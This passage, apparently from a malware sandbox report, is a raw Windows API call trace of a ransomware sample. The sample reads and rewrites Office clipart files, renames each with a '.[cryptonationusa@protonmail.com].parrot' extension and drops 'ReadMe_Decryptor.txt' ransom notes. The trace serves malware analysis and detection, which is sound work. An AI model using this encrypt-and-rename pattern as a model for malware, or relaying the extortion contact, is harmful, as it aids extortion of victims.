RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ee50 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0130.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0130.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0130.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0130.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0130.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0130.444] WriteFile (in: hFile=0x27c, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0xf98, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18eed4*=0xf98, lpOverlapped=0x0) returned 1 [0130.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0130.444] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf88, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.444] CloseHandle (hObject=0x27c) returned 1 [0130.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0130.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0130.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0130.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0130.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0130.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0130.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0130.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0130.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0130.448] GetFileType (hFile=0x27c) returned 0x1 [0130.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0130.458] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0130.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0130.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0130.458] lstrcmpW (lpString1="FD02097_.WMF", lpString2="ReadMe_Decryptor.txt") returned -1 [0130.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0130.459] GetFileSize (in: hFile=0x27c, lpFileSizeHigh=0x18ef50 | out: lpFileSizeHigh=0x18ef50*=0x0) returned 0x61c [0130.459] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x734, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.459] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.459] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.495] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.495] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x61c, lpOverlapped=0x0) returned 1 [0130.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0130.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0130.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0130.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0130.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0130.495] GetLastError () returned 0x0 [0130.495] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0130.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0130.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0130.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ee50 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0130.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0130.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0130.496] WriteFile (in: hFile=0x27c, lpBuffer=0x69e650*, nNumberOfBytesToWrite=0x738, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x69e650*, lpNumberOfBytesWritten=0x18eed4*=0x738, lpOverlapped=0x0) returned 1 [0130.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0130.497] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x734, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.497] CloseHandle (hObject=0x27c) returned 1 [0130.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0130.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0130.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0130.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0130.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0130.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0130.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0130.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0130.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0130.499] GetFileType (hFile=0x27c) returned 0x1 [0130.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0130.527] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x134c, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.527] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.527] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.529] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.529] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1234, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1234, lpOverlapped=0x0) returned 1 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0130.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0130.530] GetLastError () returned 0x0 [0130.530] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0130.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0130.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0130.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0130.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0130.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0130.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0130.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0130.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0130.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0130.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0130.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0130.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0130.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0130.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0130.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0130.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0130.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ee50 [0130.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0130.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0130.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0130.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0130.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0130.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0130.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0130.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0130.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0130.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0130.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0130.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0130.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0130.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0130.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0130.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0130.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0130.531] WriteFile (in: hFile=0x1b0, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x1358, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18eed4*=0x1358, lpOverlapped=0x0) returned 1 [0130.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0130.532] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x134c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.532] CloseHandle (hObject=0x1b0) returned 1 [0130.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0130.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0130.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0130.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0130.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0130.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0130.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0130.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0130.535] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.535] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.535] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.537] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.537] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf94, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf94, lpOverlapped=0x0) returned 1 [0130.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0130.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0130.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0130.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0130.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0130.537] GetLastError () returned 0x0 [0130.537] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0130.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0130.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0130.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0130.537] HeapFree (in: hHeap=0x5b0000, 